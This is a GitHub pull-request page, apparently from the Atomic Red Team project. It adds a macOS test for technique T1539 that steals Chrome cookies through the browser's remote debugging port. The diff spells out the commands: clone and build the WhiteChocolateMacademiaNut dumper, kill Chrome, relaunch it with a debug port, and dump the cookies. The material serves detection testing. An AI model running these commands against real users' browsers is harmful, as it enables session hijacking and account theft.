Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add T1539 macOS Chrome Remote Debugging #2469

Merged
merged 4 commits into from
Jun 26, 2023
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 35 additions & 0 deletions atomics/T1539/T1539.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -77,3 +77,38 @@ atomic_tests:
remove-item #{output_file}
name: powershell
elevation_required: false
- name: Steal Chrome Cookies via Remote Debugging (Mac)
auto_generated_guid:
description: |-
The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

If successful, this test will output a list of cookies.

Note: Chrome processes will be killed during this test.

See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e
supported_platforms:
- macos
dependency_executor_name: bash
dependencies:
- description: 'go and whitechocolatemacadamianut '
prereq_command: |-
go version
/tmp/WhiteChocolateMacademiaNut/chocolate -h
get_prereq_command: |-
brew install go --force
cyberbuff marked this conversation as resolved.
Show resolved Hide resolved
git clone https://github.com/slyd0g/WhiteChocolateMacademiaNut.git
cyberbuff marked this conversation as resolved.
Show resolved Hide resolved
cd WhiteChocolateMacademiaNut
go mod init chocolate
go mod tidy
go build
executor:
command: |-
killall 'Google Chrome'
sleep 1
open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/
sleep 1
/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337
cleanup_command: rm -rf /tmp/WhiteChocolateMacademiaNut
name: bash
elevation_required: false